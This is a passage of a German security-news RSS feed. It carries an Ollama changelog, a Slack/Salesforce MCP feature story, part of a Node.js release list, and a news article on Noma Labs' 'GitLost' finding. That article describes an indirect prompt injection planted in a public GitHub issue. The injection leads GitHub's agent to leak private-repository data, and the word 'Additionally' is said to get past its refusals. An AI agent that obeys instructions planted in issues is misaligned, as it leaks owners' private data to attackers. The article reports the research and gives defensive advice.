llama.cpp's fit pass sizes text-model placement before the multimodal projector is loaded. Ollama had been avoiding that risk on non-Metal iGPUs by disabling projector offload entirely, which forces CLIP onto CPU on GB10 and Strix Halo even when th...]]></description>
<link>https://tsecurity.de/de/3654903/downloads/v0312-llm-allow-igpu-mmproj-offload-with-fit-padding-16996/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654903/downloads/v0312-llm-allow-igpu-mmproj-offload-with-fit-padding-16996/</guid>
<pubDate>Wed, 08 Jul 2026 18:49:10 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>llm: allow iGPU mmproj offload with fit padding</li>
</ul>
<p>llama.cpp's fit pass sizes text-model placement before the multimodal projector is loaded. Ollama had been avoiding that risk on non-Metal iGPUs by disabling projector offload entirely, which forces CLIP onto CPU on GB10 and Strix Halo even when the projector has ample memory available.</p>
<p>Let integrated GPUs use the same projector-memory check as other GPUs. When projector offload is enabled, add the estimated projector memory plus the existing 1 GiB headroom to Ollama-owned LLAMA_ARG_FIT_TARGET so fit leaves space for the later projector allocation. If Ollama/device setup already supplied a fit target, add the projector pad to it. If the user set LLAMA_ARG_FIT_TARGET explicitly, leave it exactly as provided.</p>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4569968989" data-permission-text="Title is private" data-url="https://github.com/ollama/ollama/issues/16419" data-hovercard-type="issue" data-hovercard-url="/ollama/ollama/issues/16419/hovercard" href="https://github.com/ollama/ollama/issues/16419">#16419</a></p>
<ul>
<li>review comments</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wenn private Repositories „GitLost“ sind]]></title>
<description><![CDATA[Mit einer IPI haben Forscher es geschafft, GitHubs Agenten dazu zu bringen, sensible Daten an Unbefugte weiterzuleiten.Github



Auf GitHub sind laut eigenen Angaben 18 Petabytes an Daten gespeichert, davon eine unbekannte, aber sicherlich nicht unbedeutende Menge von ihnen als private Repositori...]]></description>
<link>https://tsecurity.de/de/3654878/it-security-nachrichten/wenn-private-repositories-gitlost-sind/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654878/it-security-nachrichten/wenn-private-repositories-gitlost-sind/</guid>
<pubDate>Wed, 08 Jul 2026 18:27:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Github-Logo-16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Github Logo 16z9 - Re-Upload" class="wp-image-4194463" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Mit einer IPI haben Forscher es geschafft, GitHubs Agenten dazu zu bringen, sensible Daten an Unbefugte weiterzuleiten.</p></figcaption></figure><p class="imageCredit">Github</p></div>



<p>Auf GitHub sind laut eigenen Angaben 18 Petabytes an Daten gespeichert, davon eine unbekannte, aber sicherlich nicht unbedeutende Menge von ihnen als private Repositories. An diesen Schatz ranzukommen, gestaltet sich, <a href="https://noma.security/blog/gitlost-how-we-tricked-githubs-ai-agent-into-leaking-private-repos/" target="_blank" rel="noreferrer noopener">wie Forscher von Noma Labs offenbar herausgefunden haben,</a> allerdings nicht ganz so schwierig, wie gedacht.</p>



<p>Wie die Experten in einem Blogpost schreiben, sind sie per Prompt Injection in die neuen „Agentic Workflows“ von GitHub eingedrungen. Diese Lücke in GitHubs Sicherheit könnte es einem nicht authentifizierten Angreifer ermöglichen, unbemerkt Daten aus privaten Repositories abzurufen.</p>



<p>Um sich Zugang zu verschaffen, müssen Kriminelle dem Bericht zufolge zuerst ein speziell präpariertes GitHub-Issue in einem öffentlichen Repository veröffentlichen, das zur selben Organisation gehört wie die privaten Repositories. Hiermit soll es dann möglich sein, die von Noma Labs als „GitLost“ bezeichnete Schwachstelle zu nutzen.</p>



<h2 class="wp-block-heading">Schwachstelle Agentic Workflows</h2>



<p>Der Schwachpunkt liegt den Sicherheitsforschern zufolge in <a href="https://github.blog/ai-and-ml/automate-repository-tasks-with-github-agentic-workflows/" target="_blank" rel="noreferrer noopener">GitHub Agentic Workflows</a> selbst, einem neuen Feature, bei dem GitHub Actions – GitHubs Automatisierungssystem zur Ausführung von Aufgaben als Reaktion auf Repository-Ereignisse – mit einem KI-Agenten kombiniert wird, der auf Anthropic Claude oder GitHub Copilot basiert.</p>



<p>Die Funktion ermöglicht es Nutzern, ihre GitHub-Workflows in natürlicher Sprache mit einfachem <a href="https://de.wikipedia.org/wiki/Markdown" target="_blank" rel="noreferrer noopener">Markdown</a> zu schreiben. Der GitHub-Agent kann dann Issues lesen, Tools aufrufen und eigenständig reagieren.</p>



<p>Angreifer wiederum müssten Noma zufolge für einen erfolgreichen Angriff nur ein GitHub-Issue erstellen und im Textkörper des Issues Befehle in natürlicher Sprache verbergen, die vom GitHub-Agenten ausgeführt werden.</p>



<p>Die Experten demonstrierten dies anhand eines Indirect-Prompt-Injection-infizierten (IPI) GitHub-Agenten-Workflows. Dieser war so konfiguriert, dass er:</p>



<ul class="wp-block-list">
<li>den Workflow bei `issues.assigned`-Ereignissen in GitHub auslöste,</li>



<li>den Titel und den Textkörper des Issue las,</li>



<li>mithilfe des „add-comment“-Tools einen Antwortkommentar veröffentlichte, sowie</li>



<li>mit Lesezugriff auf andere Repositories (öffentlich und privat) innerhalb der Organisation ausgeführt wurde.</li>
</ul>



<h2 class="wp-block-heading">Ein Issue reicht</h2>



<p>Die Experten von Noma Labs betonen hierbei, dass Angreifer weder Programmierkenntnisse noch Zugriffsrechte oder Anmeldedaten benötigen. Es sei vollkommen ausreichend, in einem öffentlichen Repository einer Organisation, die das „Agentic Workflow“-Setup von GitHub nutzt, ein Issue zu eröffnen und abzuwarten.</p>



<p>Zwar hat GitHub diverse Sicherheitsmechanismen, um ein solches Szenario zu verhindern, diese lassen sich jedoch den Sicherheitsforschern zufolge durch Beharrlichkeit und Schlüsselwörter aushebeln. Wie Noma Security Research Lead Sasi Levi berichtet, ergänzte er beim Testen verschiedener Angriffsvarianten das Schlüsselwort „Additionally“. Damit löste er ein unerwartetes Verhalten des Modells aus: Der Agent formulierte seine Ausgabe um, anstatt sie zu verweigern, so der Experte.</p>



<p>Durch diese Manipulation des Modells gelang es ihm dann, die Sicherheitsmechanismen von GitHub zu umgehen, sodass sie den Datenabfluss nicht verhinderten. Geleaket wurden dann ein poc (öffentliches Repository), ein remote-ping (öffentliches Repository, keine README bestätigt) sowie ein testlocal (privates Repository).</p>



<h2 class="wp-block-heading">Eingebaute Schwächen im Agenten</h2>



<p>Der Vorgang veranschaulicht, dass das Kontextfenster des GitHub- Agenten zugleich seine Angriffsfläche ist. Jeder Inhalt, den der Agent lese – seien es Issues, Pull Requests, Kommentare oder Dateien –, könne als Waffe eingesetzt werden, so die Experten. Die einzige Bedingung: Der Agent muss diesen Inhalt als Anweisung interpretieren.</p>



<p>Für Noma Labs sind Prompt-Injection-Angriffe daher für agentenbasierte KI das, was SQL-Injection für Webanwendungen ist: eine systematische, kategorieweite Schwachstellenklasse. Dagegen anzukommen, erfordere systematische Strategien und Abwehrmaßnahmen.</p>



<p>Die Experten raten deshalb,</p>



<ul class="wp-block-list">
<li>von Nutzern kontrollierte Inhalte niemals als vertrauenswürdige Anweisungen für einen KI-Agenten zu betrachten,</li>



<li>Berechtigungen auf das unbedingt erforderliche Minimum zu beschränken,</li>



<li>die Möglichkeiten von Agenten zur öffentlichen Veröffentlichung von Inhalten einzuschränken, insbesondere bei Antworten auf Issue-Inhalte, sowie</li>



<li>Nutzereingaben vom Anweisungskontext zu bereinigen oder zu isolieren, bevor diese an das Modell übergeben werden.</li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Slack’s Slackbot can now pull your CRM data, generate charts, and send DocuSigns — all from a chat message.]]></title>
<description><![CDATA[Five years and $27.7 billion after Salesforce acquired Slack, the two products are finally starting to function as a single system. On Tuesday, Slack launched an integration that connects Slackbot — the personal AI agent built into every workspace — to the entire Salesforce platform, including CR...]]></description>
<link>https://tsecurity.de/de/3654241/it-nachrichten/slacks-slackbot-can-now-pull-your-crm-data-generate-charts-and-send-docusigns-all-from-a-chat-message/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654241/it-nachrichten/slacks-slackbot-can-now-pull-your-crm-data-generate-charts-and-send-docusigns-all-from-a-chat-message/</guid>
<pubDate>Wed, 08 Jul 2026 14:18:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Five years and $27.7 billion after Salesforce acquired Slack, the two products are finally starting to function as a single system. On Tuesday, <a href="https://slack.com/">Slack</a> launched an integration that connects <a href="https://slack.com/features/slackbot">Slackbot</a> — the personal AI agent built into every workspace — to the entire Salesforce platform, including CRM data, Tableau analytics, Data 360 customer profiles, and a growing constellation of third-party applications, all through a single conversational prompt.</p><p>The mechanism behind the expansion is a set of dedicated <a href="https://modelcontextprotocol.io/docs/getting-started/intro">Model Context Protocol (MCP)</a> servers from Salesforce that connect Slackbot to the company's <a href="https://venturebeat.com/technology/salesforce-launches-headless-360-to-turn-its-entire-platform-into-infrastructure-for-ai-agents">Headless 360 infrastructure</a>. In practical terms, a salesperson can now ask Slackbot for a customer's deal history, receive a live Tableau visualization of pipeline trends, update a CRM record, and trigger a DocuSign approval — without ever switching tabs or logging into another application. According to Slack, the Salesforce IT team has already used this architecture to save its 1,500-plus engineers "thousands of custom coding hours annually."</p><p>The timing is not accidental. Slack is making this move amid escalating competitive pressure from Microsoft Teams, which claims <a href="https://techcommunity.microsoft.com/discussions/microsoftteams/teams-grows-to-320-million-monthly-active-users/3964746">320 million-plus monthly active users</a> and has Copilot embedded across the Office suite, and from Google, which continues to weave <a href="https://www.computerworld.com/article/4143838/google-embeds-gemini-ai-deeper-into-workspace-apps.html">Gemini deeper into Workspace</a>. And just days ago, The Information reported that some smaller companies are using Anthropic's Claude to r<a href="https://www.theinformation.com/articles/small-firms-use-claude-quit-salesforce">eplace Salesforce CRM entirely</a> — one Atlanta-based property management firm with about 55 employees reportedly saved around $100,000 annually by building a custom replacement using Claude Code and Replit.</p><p>Against that backdrop, Slack CMO Ryan Gavin sat down for an exclusive interview with VentureBeat to frame the announcement and argue that the company's future depends on an idea he calls "multiplayer AI" — and that the 25 years of customer data locked inside Salesforce is an asset no vibe-coded alternative can replicate.</p><h2><b>Why Slack's CMO believes 'multiplayer AI' is the next big enterprise battleground</b></h2><p>Gavin's core argument is that the enterprise AI conversation has been stuck in single-player mode for too long, and that Slack is uniquely positioned to break it open.</p><p>"So much of what we've seen are just these incredible tools that have largely been single-player, incredible tools for individual productivity, helping people complete tasks and write code," Gavin told VentureBeat. "But as we've always known at Slack ever since our inception, work is a team sport. For AI to really take hold in the enterprise, it has to be multiplayer."</p><p>The distinction matters commercially. Most AI assistants today — ChatGPT, Claude, Copilot — default to one-on-one conversations with a single user. A researcher queries a model, gets a response, and acts on it alone. The insight stays in a private chat window, invisible to colleagues. Gavin argues this creates a new version of the tab-switching problem that plagued pre-AI enterprise software, except now employees are also navigating dozens of individual agent interfaces on top of their existing applications.</p><p>"It's going to benefit almost no one if every enterprise application out there spawns hundreds of agent babies, and employees end up in a worse world than they were before," Gavin said.</p><p>Slack's answer is to make <a href="https://slack.com/features/slackbot">Slackbot</a> the orchestration layer. Because everything happens in shared channels, any action an agent takes — pulling a customer profile, flagging a deal risk, updating a Jira ticket — is visible to the entire team. A colleague can redirect, build on, or correct the agent's work in real time.</p><h2><b>How MCP and Salesforce's headless 360 platform power Slackbot's new capabilities</b></h2><p>The technical backbone of the announcement is the <a href="https://modelcontextprotocol.io/docs/getting-started/intro">Model Context Protocol</a>, an open standard originally developed by Anthropic that defines how AI models discover and invoke external tools. MCP has seen rapid adoption across the AI tooling ecosystem. By early 2026, it had been adopted by <a href="https://claude.com/product/claude-code">Claude Code</a>, <a href="https://cursor.com/">Cursor</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and OpenAI's tooling, with managed hosting available from <a href="https://aws.amazon.com/">AWS</a>, <a href="https://www.cloudflare.com/">Cloudflare</a>, and <a href="https://vercel.com/">Vercel</a>. As a <a href="https://dev.to/swrly/model-context-protocol-mcp-explained-why-it-matters-in-2026-1c7i">DEV Community explainer</a> puts it, MCP "is the closest thing the AI tooling ecosystem has to a standard."</p><p>In this implementation, Salesforce exposes its platform capabilities — CRM records, Tableau visualizations, Data 360 customer profiles, Agentforce agents — as MCP servers. Slackbot operates as an MCP client, connecting to those servers and routing user queries to the appropriate back-end system. When a user asks Slackbot about a customer, the bot discovers which MCP tools are relevant, calls them, and synthesizes the results into a single response — all within the Slack conversation.</p><p>Gavin explained the architecture in simple terms: "Salesforce is extending what has always been our open platform through our Headless 360 strategy — making all of these MCP endpoints available. And then Slackbot acts as an MCP client, connecting to those MCP servers and bringing all that data in within the confines of a trusted permission platform."</p><p>That permission layer is critical. Slackbot respects each user's Salesforce permissions, meaning a marketing coordinator cannot accidentally access sales pipeline data they are not authorized to see. Validation rules, field-level security, and org-wide data boundary configurations carry over automatically. For admins, setup requires no custom integration code — Salesforce MCP servers can be discovered, installed, and governed from a single UI using the existing Slack-Salesforce connection.</p><p>Salesforce first introduced the <a href="https://venturebeat.com/technology/salesforce-launches-headless-360-to-turn-its-entire-platform-into-infrastructure-for-ai-agents">Headless 360</a> concept at its <a href="https://www.salesforce.com/tdx/">TDX developer conference</a> in April, positioning it as an API-driven layer that exposes the platform's data, workflows, and governance controls so that software agents, rather than human users, can execute business processes directly. As <a href="http://cio.com/">CIO.com reported</a> at the time, analysts viewed the move as an effort by Salesforce "to position itself as a central layer for managing agent-driven operations across different business functions."</p><h2><b>Slack says it's betting on openness, not on any single AI protocol</b></h2><p>When asked whether Slack is making a risky bet on MCP as a protocol — given that standards in AI tooling can shift rapidly — Gavin reframed the question entirely.</p><p>"We're not betting on MCP, per se. We're betting on what we've always bet on, which is that Slack is an open platform," Gavin told VentureBeat. "MCP happens to be the best agent-to-agent protocol that the industry is rallying around right now, but if something better came out tomorrow, you'd see the same pattern from Slack — we're going to stay open. MCP and APIs are simply tools that facilitate that."</p><p>That open-platform philosophy is central to Slack's identity and, Gavin argues, its competitive differentiation. Slack already hosts <a href="https://slack.com/resources/why-use-slack/what-is-slack-and-how-does-it-work">more than 2,600 app integrations</a>. The new MCP-native partner ecosystem includes <a href="https://www.atlassian.com/">Atlassian</a>, <a href="https://www.box.com/home">Box</a>, <a href="https://www.docusign.com/">DocuSign</a>, <a href="https://www.canva.com/">Canva</a>, <a href="https://lucid.co/">Lucid</a>, <a href="https://www.zoom.com/">Zoom</a>, and more than 25 additional companies, each of whose agents can be added directly to shared Slack channels. <a href="https://www.mulesoft.com/">MuleSoft Agent</a>, now connected to Slackbot, helps manage integrations for the team — checking system health or surfacing critical error alerts in the same workspace where the team is already collaborating.</p><p>But MCP is not without trade-offs. The protocol requires tool discovery on every connection, and large tool libraries can consume significant context tokens. One technical analysis noted that a server exposing 300 tools could cost 5,000 to 10,000 tokens per session before the model does any useful work. For an enterprise like Salesforce with hundreds of potential tools across CRM, analytics, and service platforms, careful filtering and segmentation of MCP servers become essential design decisions — a challenge the company will need to navigate as the ecosystem scales.</p><h2><b>Inside Slack's complicated relationship with Anthropic and the Claude question</b></h2><p>Perhaps the most delicate topic in the interview concerned Slack's relationship with Anthropic, the AI lab behind Claude — and one of Slack's most visible power users. Just last week, <a href="https://venturebeat.com/technology/anthropic-launches-claude-tag-replacing-its-slack-app-with-a-persistent-ai-teammate-that-learns-monitors-and-works-autonomously">Anthropic launched Claude Tag</a>, a persistent AI teammate that works inside Slack channels, prompting confusion among Salesforce employees who worried it competes directly with Slackbot and Agentforce. The Information reported <a href="https://www.theinformation.com/articles/salesforce-employees-worry-anthropics-invasion-slack">internal anxiety</a> about whether Salesforce was welcoming a competitor into its own living room. Salesforce has financial reasons to maintain the partnership: the company reportedly expects to spend $300 million on Anthropic tokens this year and holds a stake in Anthropic.</p><p>Gavin addressed the tension head-on, framing it as a feature of Slack's platform strategy rather than a threat.</p><p>"We're incredibly excited and bullish about what Anthropic is bringing into Slack. Period. End of statement," Gavin said. He noted that Anthropic "is building roughly 65% of their code with Claude in Slack," and pointed out that ChatGPT was originally built in Slack, as was Perplexity.</p><p>"Building nowadays happens in the open, and every company is going to be building in the open with tools like this, and you need a platform to build in the open," Gavin said.</p><p>His argument is that feature overlap between <a href="https://slack.com/features/slackbot">Slackbot</a>, <a href="https://www.anthropic.com/news/introducing-claude-tag">Claude Tag</a>, and other third-party agents is "actually a feature, not a bug" — a sign of a healthy platform rather than a competitive vulnerability. He compared it to an ecosystem where multiple products serve similar needs but win on craftsmanship, ease of use, and integration depth.</p><p>"One of the reasons Slackbot has been the fastest-adopted feature in Salesforce history is the simplicity, the approachability — underpinned by the trust that comes from having an agent that knows me, knows my tone, knows my work, knows my people, knows my data," Gavin said.</p><p>The distinction Slack draws is structural: Slackbot has access to a user's full workspace context, Salesforce data, permissions, and connected applications by default. Claude Tag, by contrast, only sees the channels it is explicitly added to. For Slack's leadership, that asymmetry is the moat.</p><h2><b>How Slack plans to compete with Microsoft Teams and Google in the AI era</b></h2><p>Asked directly about competitive positioning against <a href="https://www.microsoft.com/en-us/microsoft-teams/log-in">Microsoft Teams</a> and <a href="https://workspace.google.com/">Google Workspace</a>, Gavin pointed to Slack's open channel architecture as the differentiator no competitor can replicate.</p><p>"If you spend any time in Teams, it's a lovely tool for chat, direct messages, and video, but it has no platform for open communication across organizations," Gavin said. "Its SharePoint-based architecture is fundamentally limiting."</p><p>He cited <a href="https://www.shopify.com/">Shopify</a> as an example, where an internal AI agent called <a href="https://www.ashgaliyev.com/shopify-river.html">River</a> is deployed across approximately 4,400 channels serving 6,000 employees. He also referenced a <a href="https://fortune.com/2026/06/27/microsoft-copilot-boss-jacob-andreou-tapped-by-satya-nadella-to-save-ai-strategy/">Fortune report</a> noting that Microsoft's own head of AI mandated that his team run on Slack rather than Teams — a pointed detail Gavin clearly relished. "There's a reason for that," he said. "We're in an era right now where openness matters, and all the other tools you mentioned, they're still relatively closed."</p><p>The competitive pressure is real and intensifying. Microsoft has integrated Copilot across its entire productivity suite, giving it a distribution advantage that reaches virtually every Fortune 500 company. Google has been similarly aggressive with Gemini across Workspace. And new entrants are crowding the market: a startup called <a href="https://viktor.com/hire-an-ai-employee?gad_source=1&amp;gad_campaignid=23610878065&amp;gbraid=0AAAABC9uvB--JiQPb5do0TpcAnPyKB3Gz&amp;gclid=CjwKCAjwx7LSBhB3EiwAjcodxAmoASmBycYGHkrfafr1WOuFKNG5AQYQLWLmYZLmc1diiKMM0wOKARoCa1sQAvD_BwE">Viktor</a>, which embeds AI agents inside Slack and Teams workspaces, recently raised a <a href="https://viktor.com/blog/viktor-series-a">$75 million Series A</a> led by Accel — with Slack cofounders Stewart Butterfield and Cal Henderson participating as angel investors.</p><p><a href="https://www.box.com/home">Box</a>, one of the enterprise customers highlighted in the announcement, told Slack it aims to have its sellers complete 75 to 80 percent of their work inside Slack. Gavin repeated that figure as evidence that the platform is becoming the default workspace for entire organizations, not just engineering teams — a shift he believes accelerates as AI makes every employee a builder.</p><h2><b>Slack's biggest long-term play is making Salesforce's CRM useful to everyone in the company</b></h2><p>Gavin saved what he considers the most underappreciated element of the announcement for last: the democratization of Salesforce's CRM.</p><p>For 25 years, Salesforce's CRM has been used primarily by sales, service, and marketing professionals — a relatively modest percentage of a company's total workforce. The promise of Slackbot as a conversational interface is that any employee, regardless of their role or technical fluency, can now query and act on CRM data simply by asking a question in natural language.</p><p>"What most people don't realize is that this democratization of CRM is going to take its usage from a modest percentage of employees to the entire enterprise," Gavin said. "When you can make systems like Data 360 or Agentforce for Sales accessible to the entire employee base — not just a percentage — think about how much more valuable those investments become."</p><p>He cited <a href="https://engine.com/">Engine</a>, a company that handles 800,000 customer inquiries a year, as an example. Previously, answering a customer inquiry required a specific employee with access to a specific tool to look up a customer's history. Now, anyone in the company can ask Slackbot and see a complete customer profile, review case history, and write updates — all without being retrained or learning a new interface. Engine's CEO Elia Wallen, in a statement sent to VentureBeat, described the integration as enabling employees to "make data-driven decisions and take action without leaving the conversation."</p><p>The financial logic is straightforward: if Salesforce can make its platform useful to 100 percent of a customer's workforce rather than the 20 or 30 percent who currently hold licenses, the value of the existing Salesforce investment multiplies without requiring a proportional increase in spending. That pitch becomes especially potent at a time when CIOs are scrutinizing every line of their AI budgets.</p><h2><b>What analysts and CIOs should watch as Slack rolls out its biggest AI update yet</b></h2><p>The announcement is a significant architectural evolution for Slack, but several questions remain unanswered.</p><p>First, pricing. The company did not directly address whether Slackbot's MCP-powered Salesforce integration will require additional SKUs or license tiers. As Info-Tech Research Group analyst Scott Bickley <a href="https://www.cio.com/article/4178840/salesforces-headless-360-monetization-play-could-give-cios-a-familiar-budgeting-headache.html">cautioned</a> when Headless 360 was first announced in April, "Salesforce's MO seems to be to announce new capabilities that require SKUs. CIOs should be asking about pricing now."</p><p>Second, performance. Routing user queries through MCP servers to Salesforce back-end systems introduces latency that could affect the conversational feel Slack prides itself on. Neither the press release nor the interview disclosed SLAs for MCP tool calls — a gap that enterprise buyers will want addressed.</p><p>Third, the competitive dynamics of the platform play. Slack's open-platform philosophy invites powerful partners like <a href="https://www.anthropic.com/">Anthropic</a> and <a href="https://openai.com/">OpenAI</a> into its ecosystem, but those same partners are building their own surfaces for enterprise work. Anthropic reportedly plans to expand Claude Tag to Microsoft Teams, email, and other project management tools — meaning the partner Salesforce is paying hundreds of millions a year is building the infrastructure to be useful without Slack at all.</p><p>And fourth, the broader existential question facing all enterprise software: whether AI agents will ultimately reduce the need for CRM systems entirely. Gavin's pitch — that Slack makes CRM more valuable by making it more accessible — is the inverse of the bear case. The market will ultimately decide which thesis prevails.</p><p>Salesforce reported record first-quarter revenue of <a href="https://investor.salesforce.com/news/news-details/2026/Salesforce-Delivers-Record-First-Quarter-Fiscal-2027-Results/default.aspx">$11.1 billion in fiscal Q1 2027</a>, with <a href="https://investor.salesforce.com/news/news-details/2026/Salesforce-Delivers-Record-First-Quarter-Fiscal-2027-Results/default.aspx">Agentforce ARR surpassing $1 billion</a> for the first time and combined AI and data ARR reaching $3.4 billion. Those numbers suggest the AI strategy is beginning to generate real revenue, even as the company navigates a market that remains uncertain about the long-term trajectory of legacy enterprise software.</p><p>"Slack has quickly moved from this beloved collaboration tool from the last ten years to now this multiplayer AI platform that we call a work operating system," Gavin said.</p><p>Five years ago, <a href="https://www.cnbc.com/2020/12/01/salesforce-buys-slack-for-27point7-billion-in-cloud-companys-largest-deal.html">Salesforce paid $27.7 billion</a> for what was, at its core, a very good group chat application. On Wednesday, it started trying to prove that group chat was never the product — it was the foundation. In the age of AI agents, the most valuable real estate in enterprise software may not be the database where the data lives. It may be the conversation where the decisions get made.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-07-08, Version 26.5.0 (Current), @richardlau]]></title>
<description><![CDATA[Notable Changes
New release key
Welcome to our newest releaser, Stewart X Addison. Future Node.js releases may be signed with his release key, 655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD.
Other notable changes

[55f48446c7] - (SEMVER-MINOR) buffer: implement blob.textStream() (Matthew Aitken) #64036...]]></description>
<link>https://tsecurity.de/de/3654192/downloads/2026-07-08-version-2650-current-richardlau/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654192/downloads/2026-07-08-version-2650-current-richardlau/</guid>
<pubDate>Wed, 08 Jul 2026 14:01:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<h4>New release key</h4>
<p>Welcome to our newest releaser, <a href="https://github.com/sxa">Stewart X Addison</a>. Future Node.js releases may be signed with his <a href="https://github.com/nodejs/node/blob/main/README.md#release-keys">release key</a>, <code>655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD</code>.</p>
<h4>Other notable changes</h4>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/55f48446c7"><code>55f48446c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: implement blob.textStream() (Matthew Aitken) <a href="https://github.com/nodejs/node/pull/64036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64036/hovercard">#64036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b373202efc"><code>b373202efc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>esm</strong>: add <code>--experimental-import-text</code> flag (Efe) <a href="https://github.com/nodejs/node/pull/62300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62300/hovercard">#62300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39e0c14455"><code>39e0c14455</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>perf_hooks</strong>: sample delay per event loop iteration (Pablo Erhard) <a href="https://github.com/nodejs/node/pull/62935" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62935/hovercard">#62935</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/999a83c937"><code>999a83c937</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: expose ReadableStreamTee (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64195" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64195/hovercard">#64195</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e0236dc3d"><code>4e0236dc3d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: report negotiated TLS groups (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64119" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64119/hovercard">#64119</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/87648c0a6c"><code>87648c0a6c</code></a>] - <strong>benchmark</strong>: trim down the argon2 sets (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64218" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64218/hovercard">#64218</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a483bfd3f0"><code>a483bfd3f0</code></a>] - <strong>buffer</strong>: remove unreachable overflow check in atob (haramjeong) <a href="https://github.com/nodejs/node/pull/60161" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60161/hovercard">#60161</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d14279688"><code>6d14279688</code></a>] - <strong>buffer</strong>: add fast api for isUtf8 and isAscii (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/64169" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64169/hovercard">#64169</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/55f48446c7"><code>55f48446c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: implement blob.textStream() (Matthew Aitken) <a href="https://github.com/nodejs/node/pull/64036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64036/hovercard">#64036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a67d9a7a44"><code>a67d9a7a44</code></a>] - <strong>build</strong>: allow linting node.1 (Aviv Keller) <a href="https://github.com/nodejs/node/pull/64157" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64157/hovercard">#64157</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06c1fbc25b"><code>06c1fbc25b</code></a>] - <strong>build</strong>: enable Maglev for riscv64 (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62605" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62605/hovercard">#62605</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/518309c363"><code>518309c363</code></a>] - <strong>build</strong>: suppress clang errors building libffi on Windows (René) <a href="https://github.com/nodejs/node/pull/64222" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64222/hovercard">#64222</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6a80ab485c"><code>6a80ab485c</code></a>] - <strong>build</strong>: add manually-dispatched stress-test workflow (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64118" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64118/hovercard">#64118</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4e7bf1f1c"><code>f4e7bf1f1c</code></a>] - <strong>build</strong>: pin envinfo versions in github actions (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64117" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64117/hovercard">#64117</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/66f6ac0d86"><code>66f6ac0d86</code></a>] - <strong>build</strong>: support setting an emulator from configure script (Ivan Trubach) <a href="https://github.com/nodejs/node/pull/53899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/53899/hovercard">#53899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f26c54aa6"><code>7f26c54aa6</code></a>] - <strong>child_process</strong>: fix permission model propagation via NODE_OPTIONS (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63972" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63972/hovercard">#63972</a></li>
